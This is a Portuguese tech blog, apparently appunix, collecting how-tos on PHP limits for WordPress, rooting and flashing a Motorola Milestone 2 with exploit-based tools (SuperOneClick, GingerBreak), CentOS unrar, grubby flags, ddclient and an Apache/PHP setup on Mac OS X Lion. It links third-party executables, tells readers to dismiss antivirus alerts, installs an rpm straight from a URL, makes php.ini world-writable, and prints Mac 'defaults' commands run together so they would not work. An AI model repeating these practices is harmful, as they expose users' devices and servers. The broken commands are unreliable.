Blank Pages no WordPress, como sanar?

Standard

Passos para Sanar o Problema:

 

1 – Entre no WHM como root,

2 – Siga os menus e submenus (->)  Home (Início) -> Service Configuration -> PHP Configuration Editor,

3 – Localize o item Memory_Limit, esse deve possuir PELO MENOS 320mb (sim, há plugins pesados que consomem muita ram),

4 – Localize Upload_max_filesize, apesar de não influenciar aqui, no momento de uploads você pode se dar mal, deixe pelo menos 500MB (nossa hospedagem permite 2gb de upload),

5 – Localize Max_execution_time, deixe pelo menos 600s (para uploads longos ou processos de plugins será de suma importância ter execução longa),

6 – Localize Max_input_time e deixe pelo menos 300s.

 

De todos os pontos que citamos, os 2 principais para sanar o problema são MEMORY_LIMIT e Max_Execution_Time.

 

Fonte: http://webking.com.br/blog/wordpress-dando-pagina-branca-blank-pages-in-wordpress-cpanel-whm/

Como Atualizar o MILESTONE 2 para o Android 4.1 (Jelly Bean) com SEGURANÇA

Standard

Sobre o artigo

Existem inúmeros artgos na WEB, mas poucos detalham com clareza como instalar o android 4.1 no Milestone 2 sem ter crashes no sistema operacional.

Antes de mais nada reportaremos que NÃO iremos mais disponibilizar nenhum link novo com o uso do Dropbox, pois continuamente está sendo suspenso o tráfego em detrimento da quantidade de downloads realizados diariamente. Iremos agora colocar os links internamente. (em nosso site)

Para lhe encorajar a ir eu ressalto alguns pontos bombados:

1 – NEM o galaxy s3 tem o 4.1 rodando oficialmente até a data de hoje!

2 – A leveza desse trem é algo de causar inveja em qualquer concorrente (Motorola Milestone 2 possui 1ghz de clock e apenas 512mb de ram)!

3 – A velocidade dos aplicativos e a remoção do motoblur,

4 – Sistema de updates OTA bem curioso que a “gangue santa” da Cyanogenmod fez parece muito promissor.

 

Esse artigo é confiável???

Bem, rodamos 4 osreloads no aparelho para testes e a satisfação é muito grande, se isso não te encoraja continue com essa rom tosca 2.3.6 cheia de limitações :).

Primeiro de TUDO quero afirmar que as ferramentas que usamos NÃO funcionaram em outro sistema operacional que não fosse WINDOWS XP 32bt (e diga-se de passagem que foi o Service Pack 2, ou seja, o service pack 3 com os patches mais recentes deverá funcionar SEM problemas).
SÓ SIGA O ARTIGO SE TIVER ALGUMA ROM RODANDO COMO GINGERBREAD, OU SEJA, ANDROID 2.3.x, se for 2.2 vá para o nosso antigo artigo ou vá para nosso artigo de como dar FULL RESTORE no MILESTONE 2, aplicando assim uma rom de fábrica 2.3.6 e depois seguindo esse artigo.
SE VOCÊ TEM AMOR A SUA VIDA DEIXE A BATERIA TODA CARREGADA ANTES DE FAZER OS PROCEDIMENTOS, POIS O RESTORE TAMBÉM DEPENDE DELA (CASO VOCÊ FAÇA ALGO DE ERRADO, POIS NÓS TESTAMOS 4 VEZES NOSSO ARTIGO!)

Todas as ferramentas já foram analisadas por AVs, mas se quiserem podem dar scan antes de abrir qualquer uma delas.
Reporto também que, por conter exploits para o sistema de base, o SuperOneClick vai acusar suspeita no AV, verifique com detalhes para ver que NÃO É NENHUMA SACANAGEM NOSSA, foi baixado direto da XDA (se quiserem podem baixar por lá, bastar ir na área do Milestone 2 e só alegria).

O que eu devo baixar?

Droid 2 Recovery Bootstrap (para ativar modo de recuperação) —> http://www.appunix.com.br/repository/droid2recovery.apk

Rom 4.1 Diretinho da gangue da XDA (no google) —> http://cm-milestone2.googlecode.com/files/CM10-20120917-NIGHTLY-milestone2.zip

SuperOneClick (para dar root permanente no aparelho) —> http://www.appunix.com.br/repository/SuperOneClickv2.3.3-ShortFuse.zip

Google Apps (patch) —> http://goo.im/gapps/gapps-jb-20120726-signed.zip

RSDLite com MTKpatch (gestor de rom) —> http://www.appunix.com.br/repository/RSDLite5.6_and_MTKpatch.zip

MotoHelper (drivers massa para o M2)—> http://www.appunix.com.br/repository/MotoHelper_2.0.49_Driver_5.0.0.exe

Não tente coisas como z4root e afins, só quem funcionou realmente aqui foi o SuperOneClick, que de coração recomendo que façam doações para o desenvolvedor!
No caso do RSDLite a gente nem vai usar aqui, deixei ali para que, se houver PROBLEMAS (isso nós testamos 4 vezes e NÃO CORROMPEU NADA) você pode dar OSRELOAD sem problemas.

 

Hora do RUSH!

Depois de baixar TUUUUUDO, coloque dentro da pasta principal (raiz, para fácil localização quando entrar em modo recovery) os arquivos droid2recovery.apk, a rom da xda (4.1) e o google apps (10 mb).

Primeira coisa é instalar o RSDLite com patch e depois o MOTOHELPER. Reinicie seu Windows XP, assim que retornar plug o Milestone 2 com o cabo de dados (o da “batera”, pls!), em seguida, sendo identificado pelo XPzão, abra o SUPERONECLICK. Antes de mais nada, coloque seu aparelho em modo DEBUG (isso, entra lá em desenvolvimento e ativa o modo de depuração).

Depois CLICK em ROOT no SUPERONECLICK. Esse processo demora um pouco, pois o aparelho vai receber uma série de exploits para liberar o acesso root (ultra necessário para ativarmos o boot menu de recovery). Depois de uma série de coisas (MASSIVAMENTE TESTADA POR NÓS, É CLARO), seu aparelho JÁ ESTARÁ COM O ROOT LIBERADOOO! Remova o aparelho do cabo, agora é hora do fight!

Depois abra o droid2recovery (com seu gestor de arquivos, que na minha mente santa já consigo entender que é o ASTRO), abra o APK e instale o mesmo. Em seguida clique em ABRIR e ABRA o Droid2Recovery. Abrindo ele não click em reboot recovery, escolha a outra opção, será pedido permissão de root, diga que sim, quer dar permissão de root, confirmado, click em reboot recovery, e será liberado o momento de recovery.

Os botões de volume servem para andar de um lugar para outro, o botão da câmera serve para selecionar a opção que você escolher através dos botões de volume.

Ok, vamos ao fight?

1 – Procure pela opção INSTALL ZIP FROM SDCARD, entre nela e localize a rom do Jelly Bean, que provavelmente deve ter um nome semelhante a CM10-20120917-NIGHTLY-milestone2.zip, mande instalar, demorará alguns segundos, TERMINANDO, repita os procedimentos e vá a procura do arquivo GAPPS-JB-20…ZIP, instale-o.

2 – Aplique os 2 WIPES, em seguida clique em ADVANCED e dê + 2 WIPES lá presentes.

Pronto, depois disso volte aos menus anteriores (TECLAR LEVEMENTE SEM SEGURAR O POWER), e dê um REBOOT.

Feito isso espere alguns minutos (bem menos de 10), rodando você terá imagens como:

 

Daí, rolando tudo certo NÃO SE ESQUEÇA DE TRAZER UMA CAIXA DE BIZ PARA EU E O DOOOGUINHA!
Se houver problemas dá para voltar para rom original SEM QUALQUER DIFICULDADE: http://www.appunix.com.br/howto/linux/como-fazer-o-restore-completo-do-milestone-2-100-garantida-a-restauracao/ 

 

 

Como extrair arquivos .RAR no CENTOS?

Standard

É bem verdade que o CentOS tem tudo que o Red Hat tem + um grande apoio da comunidade, mas tente abrir um arquivo .rar via console para você ver o que é bom para tosse 😛

Brincadeiras a parte, não é uma falha da distribuição em si, tampouco repositórios ruins, muito pelo contrário, como a idéia maior de compactação gira em torno de .zip, .tar, .tar.gz a maior parte das distribuições vêm dispostas a encarar facilmente tais formatos. Bem, se queremos abrir o .RAR no Centos teremos de fazer uma coisa, instalar o pacote de arquivos para trabalhar com formato .rar, “vamo simbora”?

Se o RedHat for 6 e for 64 bits rode como root:

rpm -Uhv http://apt.sw.be/redhat/el6/en/x86_64/rpmforge/RPMS/unrar-3.9.10-1.el6.rf.x86_64.rpm

Se precisar de outro rpm do unrar em detrimento de versões do centos ou mesmo por estar usando outra distribuição veja o link:

http://pkgs.org/centos-6-rhel-6/repoforge-x86_64/unrar-3.9.10-1.el6.rf.x86_64.rpm.html

Instalando este pacote há uma pequena lógica no comando, explico logo abaixo:

unrar e nomedoarquivo.rar

O comando acima extrai o arquivo na pasta atual onde ele está.

unrar l nomedoarquivo.rar

O comando acima lista o que tem dentro do arquivo compactado.

unrar t nomedoarquivo.rar

O comando acima checa a integridade do arquivo compactado.

Bom pessoALL, em resumo é isto ;).

Abraços e bom trabalho + final de semana show de bola!

Como adicionar uma flag no grub sem problemas no CentOS, Fedora ou RedHat?

Standard
grubby --grub --args="pcie_aspm=off" --update-kernel=ALL
Use o comando acima para adicionar a flag pcie_aspm=off como instrução no Boot do seu Linux.
Depois de adicionar será necessário reiniciar o sistema.
Perceba que o ajuste também poderia ter sido feito manualmente, bastando apenas acrescentar
pcie_aspm=off no final da instrução de boot da imagem do kernel.

Abraços galera.

			

Como restaurar meu Milestone 2 – Procedimentos para corrigir ou aplicar osreload de rom ORIGINAL do Motorola m2

Standard

Pessoal, tenho percebido que muitas pessoas infelizmente não estão seguindo todos os passos de como atualizar o milestone 2 para android gingerbread 2.3.7 (CM7) e isso resulta em travamentos, bootsplash travado (ou logo do android ou logo da motorola)!

Este how to destina-se a pessoas que querem colocar a rom inicial do milestone 2 em seu aparelho (original e arcaica).

Os passos a seguir são simples, funcionam e NÃO tapam buracos, mas servem para voltar atrás quando se tem problemas nas instalações/updates.

 

ESTE ARTIGO ESTÁ DIVIDIDO EM 2 SESSÕES:

1 – COMO INSTALAR A ROM ORIGINAL DO MILESTONE 2 (FROYO 2.2)

2 – PROCEDIMENTOS PARA REPARAÇÃO DE UMA PÓS UPGRADE DO MILESTONE 2 COM PROBLEMAS DE BOOT OU OPERAÇÃO DO SISTEMA

 

COMO INSTALAR A ROM ORIGINAL DO MILESTONE 2 (FROYO 2.2)

 

Primeira coisa que precisaremos ter são os arquivos para baixar (TODOS são necessários):

RSD LITE 4.9 -> http://dl.dropbox.com/u/17545709/RSD%20Lite%20v4.9.zip (6,76mb)

Drive Oficial da Motorola -> http://dl.dropbox.com/u/17545709/USB_Drivers_bit_4.8.0.rar (8,2mb)

ROM Oficial do Motorola Milestone 2 FROYO -> http://dl.dropbox.com/u/17545709/SBFFROYOOFICIALMILESTONE2.rar (304 mb)

Antes de tudo, se você tem amor por sua vida TENHA EM MENTE QUE PRECISARÁ DE ESPAÇO SOBRANDO EM SEU APARELHO, pois muitos caras respondem aos artigos como se fossem autoridade máxima, só que esquecem que o procedimento exige uma coisa muito simples/trivial, e o pior, natural a todos -> ESPAÇO!

Para o caso de dar flash e voltar para rom da motorola (um lixo, saba-se disso), não necessitará de espaço, mas para atualizar o milestone 2 para gingerbread aí sim necessitará de espaço bem bacana.

 

PASSOS PARA O FLASH ROM – COLOCAR ANDROID FROYO 2.2 NO MILESTONE 2

De posse dos arquivos faça o seguinte:

– Instale o Drive da Motorola assim como o RSD Lite 4.9.

– Extraia o arquivo .RAR da SBF que passamos o link (304 mb).

– NO Milestone 2 vá no menu de configurações -> Aplicativos -> Desenvolvimento e ative o Modo De Depuração do USB.

– Conecte seu Milestone 2 ao computador através da USB.

– Assim que o Windows pesquisar pelo drive do A953 (milestone 2), assim que ele achar, abra o RSD Lite 4.9 e procure pelo modelo A953 (milestone 2).

– No RSD Lite 4.9 selecione o arquivo que baixou (a besteirinha de 304 mb), e depois clique no botão de start.

O pau vai comer por uns 10 minutos.
Se o RSD LITE perguntar sobre conectar ao aparelho manualmente diga que NÃO.

Assim que o aparelho for completamente processado, o RSD Lite vai exibir a seguinte mensagem:

Finished and PASS
Feito isto tudo estará ok.

 

Pontos importantes:

1 – DEIXE a bateria do celular com pelo menos 80% (recomendo que carregue tudo),

2 – Dar restore Factory ANTES e DEPOIS é recomendado antes do procedimento,

3 – Depois desse “clean” o android market vai estar acessível/funcional para você sem qualquer problema.

 

 

PROCEDIMENTOS PARA REPARAÇÃO DE UMA PÓS UPGRADE DO MILESTONE 2 COM PROBLEMAS DE BOOT OU MÁ OPERAÇÃO DO SISTEMA

 

Se você tem percebido um mau funcionamento do  seu Milestone 2 após ter instalado uma rom/sbf faça o seguinte procedimento:

Desligue seu aparelho, e em seguida ligue-o mantendo pressionada a tecla X.  Assim que for exibido o triângulo pressione a tecla @ (arroba).  Depois faça o procedimento de Wipe data e tudo deverá funcionar. (isto provavelmente pode ocorrer depois de voltar para rom original [ECA] )

 

Caso não funcione existem outros procedimentos a fazer:

Reiniciar o celular, pressionar “vol -” (botão de diminuir o volume do aparelho – fica localizado ao lado do aparelho) no momento da inicialização do aparelho (que abre o menu), fazer o procedimento de wipe/factory reset, depois aplicar o zip, em seguida wipe data/factory reset, Wipe Dalvik Cache, e Wipe Baterry Stats, após restart ele dará boot corretamente. (é aqui que muitos estão se ferrando, pois no momento de aplicar a rom 2.3.7 no milestone 2 o pessoal não está fazendo tais procedimentos [wipe])
Se você está percebendo a luz vermelha no canto direito do aparelho (fica normalmente com uma luz verde ou durante o boot uma leve aparição da cor azul) deverá fazer o seguinte procedimento:
Reinicie o aparelho, daí segurando o botão Power ( botão ligar) e o X do teclado vai aparecer o android com um ponto de exclamação ”!” aperte @ no teclado agora escolha “wipe data/factory reset” e por ultimo “reboot system now” agora seu Milestone 2 vai funcionar normalmente.

Se o boot travar siga os passos:

ligue novamente porém segurando o botão “Power” (o botão de ligar) e a “seta para cima” do teclado, a tela vai ficar toda preta, bastando que você solte a tecla e logo em seguida já estará na tela de bootload.

 

ATENÇÃO:

 

SE você gastou a bateria toda, vai ter que conseguir emprestado de alguem ou carregar no aparelho de alguem.
SE o sistema base estver ok ai você faz esse processo todo acima e depois restaura se quiser.
SE o sistema base estiver corrompido você acaba de ferrar seu aparelho, quando aconteceu a primeira vez comigo eu dei sorte de ainda estar na garantia(não diga que tentou instalar uma rom pois não cobre a garantia) e arrumaram em dois dias.
DICAS DO USER hokahey ->
http://www.androidz.com.br/forum/topic/9255-tutorial-rom-cyanogenmod-7-android-237/page__st__40__p__75998#entry75998

 

—————–

 

OS PASSOS ABAIXO FORÇAM A DETECÇÃO DO SEU SMARTPHONE MILESTONE 2 VIA USB JUNTO AO RSDLITE:

1 – Desligue seu telefone.
2 – Aperte e segure o botão de abaixar volume e câmera e ligue o telefone. Continue segurando o botão de abaixar volume/câmera mesmo apos ligado.
3 – Irá aparecer uma escrito BootLoader (xx.xx), se não aparecer repita o passo anterior.
4 – Conecte seu cabo USB no telefone e aguarde a instalação dos drivers.

Use of uninitialized value in string ne at /usr/sbin/ddclient line 1973.

Standard

Se você está usando DEBIAN-BASED (mind/debian/ubuntu) e toda vez que roda o comando ddclient ele apresenta erro SEUS PROBLEMAS “SE ACABARAM-SE”!

Para sanar, como root faça o seguinte:

rm -rf /var/cache/ddclient/ddclient.cache

Depois rode o comando ddclient, a saída vai ser algo semelhante a:
SUCCESS:  updating SEUHOST.ALGUMACOISAg: good: IP address set to IPDASUAINTERFACEWEB

 

Abraços galera

Como instalar Android 2.3.7 no Milestone 2 sem perder dados e de forma rápida

Standard

PS: baixem TODOS os arquivos do artigo aqui:

http://appunix.com.br/repository/ALL.rar

As pessoas reclamam que os arquivos estão dando problemas. SUBIMOS TUDO e o tamanho no WINDOWS:

931 MB (976.620.228 bytes) (size)

931 MB (976.621.568 bytes) (size on disk)

Tem várias roms, vários utilitários e por fim a tranquilidade de não ter o dropbox off.

 

 

 

Antes de mais nada quero deixar claro que este artigo é 100% baseado no consagrado artigo da galera AJUDA ANDROID, que pode ser acessado aqui:

http://www.ajudandroid.com.br/2011/09/rom-milestone-2-cyanogenmod-7-versao.html

 —– Dia 05/12/2011 (ATUALIZADO):

Lista de arquivos para download interno (caso queiram mais desempenho tentem com dropbox [links mais abaixo]):

http://www.appunix.com.br/repository/GingerBreak-v1.20.apk

 

http://www.appunix.com.br/repository/Bootmenuv0.8.6-v2.zip

ROMS MAIS NOVAS:

http://android.loicg.net/roms/

 

Antes de mais nada iremos deixar aqui links de arquivos que você deverá utilizar (exceto rsdlite, fica ao seu critério).
Requerimentos para seguir este How to:

– Ter um milestone 2 rodando android 2.2,

– Baixar todos os softwares aqui citados.

 

Pontos em particular:

– Deixe a bateria COMPLETAMENTE carregada junto ao seu Milestone 2.

– Reza a lenda “androidiana” que cartões sd lv 10 dão problemas, eu, particularmente não vi dar problemas.

 

Não precisa ser um arquiteto da Google para executar este procedimento, muito pelo contrário, é tão simples e eficaz que quando terminar (e isso será rápido) você vai falar:

– “Caramba, velho, como foi fácil/rápido terminar esse trem!”

 

A meta é essa!

 

Softwares  OBRIGATORIAMENTE necessários para cumprir nossa meta:

http://dl.dropbox.com/u/17545709/Bootmenu%20v0.8.6-v2.zip  (esse é o bootmenu 8.6-v2),

http://dl.dropbox.com/u/17545709/GingerBreak-v1.20.apk (esse aqui é o gingerbreak 1.20 e vai “rootar” seu aparelho de maneira beeeeem simples/rápida),

https://market.android.com/details?id=com.koushikdutta.droid2.bootstrap&hl=en (gestor de roms que serve tanto para fullbackups como para instalar roms, custa menos de 6 reais e vale a pena),

http://dl.dropbox.com/u/17545709/EndlessCM7_20111001_Nightly_BPSW_v1_0.zip (cyanogenmod 7), CASO percebam que o link está off podem baixar até versões mais novas, vejam aqui no repositório (CABRITO! Divulgamos este repositório no twitter do appunix): http://android.loicg.net/roms/

–  http://dl.dropbox.com/u/17545709/RSD%20Lite%204.9.zip (perfumeria, RSDLite 4.9 (para caso de reinstalar a SBF da motorola 2.2),

https://market.android.com/details?id=com.koushikdutta.rommanager&feature=search_result (ClockWorkMod, um gestor de ROMs muit bombado).

Eu, particularmente recomendo que você instale o FREE e 100% operacional/compatível programa chamado TITANIUM BACKUP -> https://market.android.com/details?id=com.keramidas.TitaniumBackup&hl=en

 

Após baixar tudo RECOMENDO que cole os arquivos baixados (caso os baixou por meio de PC) dentro do seu milestone 2 em uma pasta na raiz do sistema (VAI FACILITAR MEIO MUNDO NA HORA DE INSTALAR A ROOM), eu, no momento em que executei minha upgrade coloquei tudo na raiz em uma pasta chamada DOWNLOADS usando meu cabo de dados. Isso é só um procedimento de organização, nada mais, sem isto, caso use outra forma funcionará, mas minha idéia aqui é encurtar caminhos ;).

É uma ferramenta MUITO simples de usar (TITANIUM BACKUP) e NÓS OBRIGAMOS que você a use, LOL, justamente para que você não perca aqueles programas massa que você possui, ou mesmo os dados dos tais programas. Então, para nos anteciparmos ao problema vamos fazer o seguinte, instalar o Titanium backup e em seguida fazer o seguinte:

IR no menu ->configurações ->aplicativos ->desenvolvimento e habilite a opção depuração de USB.

Depois entre no programa e assim que for requisitado poder de root (sim, o danado acessa MUITAS áreas do sistema) diga que SIM. [allow]

Depois procure pela aba BACKUP/RESTORE e em seguida, apertando os quadradinhos [botão de configuração/propriedades de um app] clique em LOTE.

Logo em seguida você vai ter de procurar por backup de todos os aplicativos de usuários [backup all data + apps], e clicando no botão logo ao lado para deixar no ponto -> [executar/run].

Na tela a seguir devemos escolher as apps manualmente OU já ir rodando todo o fullbackup de tudo, escolhendo suas apps (recomendo tudo) clique em Executar a operação em lote.

 

2 coisas bem interessantes acontecem aqui, no ato do backup:

1 – o titanium coloca seus arquivos e ele mesmo na memória SD externa, em uma área aonde qualquer mudança complexa ou wipe data vai deixar o bichão ali, pronto para uso e COM SEUS DADOS FILÉ!

2 – esse procedimento de backups é importante, pois quando terminarmos a instalação do android 2.3.7 é de praxe que você esteja sentindo muita falta daquela app querida e de seus dados respectivamente.

 

Feito o backup, creio eu que você já baixou os links de download e pagou pela app que recomendamos.

Agora que já baixamos tudo a primeira coisa é meter o root pra correr a solta no aparelho, para isto devemos rodar o Gingerbreak. Assim que terminarmos de instalar, seu aparelho está pronto para o root, depois iremos instalar o ClockModWork e depois o Droid 2 Recovery Bootstrap. (links já citados acima, na parte de downloads)

 

Assim que você rodar o Droid 2 Recovery Bootstrap você deverá clicar no menu -> Bootstrap recovery e em seguida liberar a app para executar suas funções avançadas, clicando assim em -> permitir e por fim clicar em -> Reboot Recovery

 

Depois desse procedimento seu aparelho já deverá estar reiniciando. Assim que ele carregar aparecerá um menu, o qual, para deslocarmos para cima e para baixo devemos usar o controle de volume do aparelho, logo + é para cima e – é para baixo e respectivamente o OK é o botão da câmera. Primeira coisa que devemos fazer nessa onda aí é acessar o menu install zip from sdcard e em seguida selecionar o menu -> choose zip from sdcard, no menu a seguir procure (lembra da pasta Download…?) por Bootmenu v0.8.6-v2.zip, escolha-o e em seguida entre no menu REBOOT.

 

Depois do reboot automaticamente iremos para uma nova tela aonde o botão de power passará a ser o OK, assim como o botão retornar do Milestone 2 realmente será retornar! (o + para cima e – para baixo, como doutra vez)

Primeiro passo que devemos fazer aqui é selecionar BOOT, aonde no menu SET DEFAULT: [boot menu] devemos optar por normal e apertaremos RETORNAR 2 vezes, aonde na tela deveremos escolher RECOVERY e em seguida ir no menu CUSTOM RECOVERY. Nessa nova tela de boot o botão de câmera volta  a ser o OK, aonde deveremos nesse novo menu procurar por Instal zip from sdcard e escolher logo em seguida choose zip from sdcard, ao abrir a raiz do sistema procure por EndlessCM7_20111001_Nightly_BPSW_v1_0.zip (lembra da pasta Download né?…).

A rom vai moer, moer, moer e moer e vai ser instalada :P, assim que for instalada deveremos voltar para o menu wipe data/factory reset, procurar pelo menu Advanced e depois clicar em Wipe Dalvik Cache, depois ir sobre YES afim de limpar o cache da virtual machinne, logo depois retornamos ao menu anterior e entramos em Wipe Baterry Stats, logo em seguida optaremos por YES para dar um grau na batera!

Depois você deve retornar ao menu principal (Go back [botão do milestone 2]) e procurar por reboot system now.

Lembra que estávamos falando de estar com a bateria full? É, meu amigo, agora é a hora da verdade e DO USO DELA! Alguns aparelhos (não sei se é por causa do level de SD ou outra coisa) levam até 10 minutos para fazer a build rodar 100% filé [levei menos de 4 minutos], mas aí varia de smart para smart.

 

Depois disso CURTAAAAAAAAAAAAAAAAAAAAAAAA o seu Milestone turbinadão.

Fonte deste milagre? Tá aqui ó:

http://www.ajudandroid.com.br/2011/09/rom-milestone-2-cyanogenmod-7-versao.html

 

Alguns pontos que ressaltamos aqui após instalação:

1 –  NÃO restaure aplicativos como google.phone do seu antigo froyo tosco, isto vai ferrar com seu sinal de gsm (de verdade),

2 – Wifi operando melhor que o 2.2 (hoje mesmo testei em frente a uma loja aonde o antigo não recebia o sinal e chute? sinal de 1 pontinho navegando tunado),

3 – LIGAÇÕES GSM NÃO CAEM [como andam falando por aí], fiz uma hoje cedo de “apenas 34 minutos”, super top de linha e uma qualidade de dar inveja de VERDADE,

4 – BOOT mais elegante e mais rápido que o froyo nativo e podrão,

5 – Câmera 100% operacional,

6 – Desempenho no acesso de áreas de trabalho BEEEEEM melhor,

7 – Consumo de bateria BEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEM menor,

8 – Consumo de ram BEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEM menor,

9 – Travamentos não existem mais (Froyo nativo da motorola travava pelo menos a cada 5 dias),

10 – Library de imagens muito mais rápida para gerar thumbnails,

11 – Led da câmera 100%,

12 – Aplicativos pós restauração do Titanium backup operando 100%,

13 – Menu Central de aplicativos muito leve,

14 – Qualidade do som continua em alta,

15 – NÃO foi necessária nenhuma gambiarra de apn ou ajuste de sinais gsm/3g, foi ligar e pimba, sinal gsm na alta!

16 – AINDA não senti aquele aquecimento infernal que o Froyo dava quando estava em chamada.

17 – Acesso a dados internos MUITO violento.

18 – Desligar (apertando o botão de desligamento/bloqueio) agora libera um item MUUUUITO amável, REINICIAR!

19 – GOOGLE MARKET 100% operacional (NOT GAMB).

 

Bem, se os 19 motivos acima não lhe encorajam a um upgrade só tenho 1 coisa a lhe dizer -> SORRY!
Devemos agradecer a DEUS pela galera da XDA, AJUDA ANDROID e http://www.cyanogenmod.com/

————

TROUBLESHOOTING

PS, no caso de nosso visitante Thiago, ele reportou que a tela de boot ficou presa, sendo assim o procedimento que ele adotou e deu certo foi:

Reiniciar o celular, pressionar “vol -” que abre o menu, fazer o procedimento de wipe/factory reset, depois aplicar o zip, em seguida wipe data/factory reset, Wipe Dalvik Cache, e Wipe Baterry Stats, após restart ele dará boot corretamente.
Se você está percebendo a luz vermelha no canto direito do aparelho (fica normalmente com uma luz verde ou durante o boot azul) deverá fazer o seguinte procedimento:
Reinicie o aparelho, daí segurando o botão Power ( botão ligar) e o X do teclado vai aparecer o android com um ponto de exclamação ”!” aperte @ no teclado agora escolha “wipe data/factory reset” e por ultimo “reboot system now” agora seu Milestone 2 vai funcionar normalmente.

Se o boot travar verifique os procedimentos do THIAGO, ou siga os passos:

ligue novamente porém segurando o botão “Power” (o botão de ligar) e a “seta para cima” do teclado, a tela vai ficar toda preta aí basta soltar que você estará na tela de bootload.

====================

SE VOCÊ pretende fazer DOWNGRADE (instalar o FROYO 2.2 oficial da Morotola no seu milestone 2 após instalar o gingerbread ou está tendo problemas após atualizar sue motorola milestone 2 basta acessar este link -> http://www.appunix.com.br/howto/linux/google-android/como-restaurar-meu-milestone-2-procedimentos-para-corrigir-ou-aplicar-osreload-de-rom-original-do-motorola-m2/)

====================

Abraços galeraaaaaaaaa!

 

Como remover animações de novas janelas no Mac Os X Lion

Standard

Atenção galera do bem, mais uma dica simples e rápida e de última hora ;P, se você está afim de desativar animações das novas janelas no seu maczão faça o seguinte, abra o terminal (vide abaixo):

abrir terminal UNIX no mac

abrir terminal UNIX no mac

Dentro dele use o seguinte comando

defaults write NSGlobalDomainNSAutomaticWindowAnimationsEnabled-bool NO

Pronto, depois disso é só alegria :P.

Bye bye!

Se quiser voltar como antes digite:

defaults write NSGlobalDomainNSAutomaticWindowAnimationsEnabled-bool YES

Como instalar Apache 2, Mysql 5 e php 5 no Mac Os X LION 10.7.x (testado 10.7.1)

Standard

Este artigo vai parecer muito com a instalação do apache, php e mysql sob mac os x snow leopard, porém existem algumas particularidades que precisam ser detalhadas. Antemão parte do artigo do mamp sob snow leopard será copiado, depois, iremos detalhar pontos MUITO importantes para que tudo funcione corretamente. Estamos testando em um hackintosh LION (10.7.1), literalmente current (updates mais novas).

Vamos lá:

No outro artigo, para habilitarmos o apache usamos o comando com poder de root (sudo) para ativar o web server, mas agora isto só é permitido sem stress via Preferências do Sistema -> Sharing (compartilhamento) e marcando o Web Server (compartilhamento de arquivos web), lhe mostraremos imagens abaixo:

Abrindo o menu de sharing para apache

Abrindo o menu de sharing para apache

Clicando em compartilhamento de páginas web

Clicando em compartilhamento de páginas web

Note acima que clicamos em COMPARTILHAMENTO junto as preferências de sistema e em seguida marcamos o compartilhamento do apache (páginas web). Toda mudança significativa do mac faz controle de permissões (segurança), por isso coloque seu login e senha para autorizar a mudança.

Feito isto teremos de entrar no conf do apache para liberarmos o php5, veja os passos que diremos.

Nosso segundo ponto e muito importante é entrar no arquivo de configuração do apache 2 afim de habilitarmos o suporte ao PHP, vamos por a mão na massa? Estamos usando o VIM, um editor muito eficaz e leve (todos que já amaram o vi um dia com certeza amam/amarão o vim):

Little-oaks-appunixlabs:~ sudo vim /etc/apache2/httpd.conf

 

Dentro deste arquivo devemos remover o comentário da linha abaixo:

LoadModule php5_module libexec/apache2/libphp5.so

Recomendo que aperte a tecla / no vim e digite php5, você já vai cair em cima da linha a ser descomentada, em seguida, no sinal de libra (#), caminhe até ele e aperte x
Isto nos deixará com suporte ao PHP, depois basta apertar ESC e digitar isto:
:wq!
Assim que pressionar ENTER o arquivo será salvo.
Vamos explicar o por que de :wq!

: representa comando para o arquivo
W representa ESCREVER
Q representa QUIT (sair)
! representa EXECUTAR as instruções informadas

Para finalizarmos o suporte ao php precisamos rodar o seguinte comando:

Little-oaks-appunixlabs:~ sudo apachectl restart

É mania de todos criar um arquivo com a função phpinfo() contida nele, porém, se fizermos isso “de cara” o apache vai exibir muitos warnings (interpretados pelo php) por questões de permissões e de existência do arquivo php.ini. Para sanarmos isto deveremos fazer o seguinte:

Little-oaks-appunixlabs:~ cd /etc
Little-oaks-appunixlabs: sudo cp php.ini.default php.ini
Little-oaks-appunixlabs: sudo chmod 666 php.ini

Estamos copiando o php.ini default do /etc (área de arquivos de configurações em Unix-like systems) e atribuindo permissões 666 (dono pode ler e escrever no arquivo, grupo também e demais também).
No arquivo php.ini temos de localizar o trecho aonde o TimeZone é identificado (mas está comentado). É muito importante mudar esta linha e ajustarmos nosso timezone corretamente, pois isto nos dará um horário adequado. Para isto devemos proceder da seguinte forma:
Little-oaks-appunixlabs: sudo vim php.ini
Em seguida aperte a tecla / para localizar um termo, informe o seguinte date.timezone, isto lhe deixará na linha acima da que precisamos mudar. Descomente a linha abaixo para que fique assim:
date.timezone =

Você removerá o ; apertando x em cima dele. Para deixarmos o vim em modo de edição de arquivos precisamos apertar a tecla i, isto nos dará poder de editar o arquivo (saindo de modo comando).
Agora iremos colocar depois do = o seguinte:
America/Sao_Paulo
Então o resultado final será —> date.timezone = America/Sao_Paulo
Dê ESC e digite
:wq!
Aperte ENTER e terá o arquivo salvo.

 

As vezes você pode estar se perguntando:

Poxa, mas meu timezone não tem nada a ver com o de Sampa, o que faço?
Relaxa, rapá! A galera do Appunix pensou em você! Abaixo segue a lista de timezone da América:
http://www.php.net/manual/en/timezones.america.php

Se mesmo assim não lhe agradar você pode usar os globais:
http://www.php.net/manual/en/timezones.others.php

Mas é impossível você não se agradar dos timezones da América, são repletos.
Os mais comuns que são usados são:
America/Porto_Velho
America/Noronha
America/Rio_Branco
America/Recife
America/Sao_Paulo
America/Porto_Acre
Mas escolha o que mais lhe agradar.

Assim que decidir qual seu TimeZone você deve reiniciar o apache para reler o php.ini e ativar o negócio:
Little-oaks-appunixlabs: sudo apachectl restart

Agora precisamos instalar o Mysql 5 para que possa trabalhar da forma que almejamos.
Para irmos direto ao ponto acesse o link abaixo:
http://dev.mysql.com/downloads/mysql/5.1.html#macosx-dmg
Se cuide para baixar a versão ideal para você.
Aí é 64 bits? Não sabe como é? Quer saber como seu Mac Os X LION está operando? Clique na maça, depois clique em Sobre Este MAC, em seguida clique em Software (Categoria) e procure pela linha Kernel de 64-bit e Extensões: Sim (conforme a foto abaixo):

como ver informações do seu mac os x

como ver informações do seu mac os x

Caso seja Sim é 64 bits (x86_64), então baixe o pacote para 64 bits.
Vamos simbora?
Baixe o arquivo x86_64 no formato DMG.

baixar pacote mysql 64 bits (DMG)

baixar pacote mysql 64 bits (DMG)

baixar pacote mysql 64 bits (DMG)

